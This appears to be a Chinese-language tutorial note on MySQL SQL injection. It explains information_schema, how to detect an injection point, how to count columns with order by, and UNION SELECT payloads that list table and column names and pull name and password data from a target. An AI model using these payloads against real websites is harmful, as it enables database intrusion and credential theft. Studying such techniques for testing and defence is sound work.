数据库类型

Mysql、Access、Mssql、Oracle、Postsql、SQLite、Mongodb、等等

变量可控、代入数据库查询 过滤不严谨或者没有过滤

MYSQL注入

信息收集


①操作系统

②数据库名

③数据库用户

④数据库版本

⑤其他(网站路径)等


数据注入


同数据库

①低版本  暴力查询或者结合读取查询      5.0以下

②高版本  information_schema有据查询   5.0以上



高权限注入

①常规查询 (数据注入)

②跨库查询 利用数据库进行跨数据库查询

③文件读写 利用注入进行文件读取或写入


MYSQL数据库


1.必要知识点:在MYSQL5.0以上中,mysql存在一个自带数据库名为information_schema,他是一个记录有所有

数据库表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号“.”代表下一级,例如xiao.user表示xiao数据库下的user表名。

 

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列命信息的表

table_name 表名

columns_name 字段名

 

数据库A→网站A

表名

      列名

            数据

数据库B→网站B

表名

      列名

            数据

数据库C→网站C

表名

      列名

            数据



注入点判断

老方法:and 1=1 页面正常    and 1=2 页面错误

逻辑运算符 

或             且            非

or            and          xor

真   且   真   =真           真   且   假   =假          真   或   假   =真

 

判断注入

猜解列明数量(字段数)   order by x 错误与正常值

?id=1 order by 4

报错猜解准备

?id=1 union 1,2,3,4

?id=-1 union 1,2,3,4

信息收集

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_compile_os

 

查询数据库下的表名信息         group_concat(table_name)显示所有表

?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库名字'

查询指定表名下的列明信息

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.columns where table_name='表名'

查询指定数据

?id=-1 union select 1,name,password,4 from 表名

 

#猜解多个数据可以采用limit x,1 变动猜解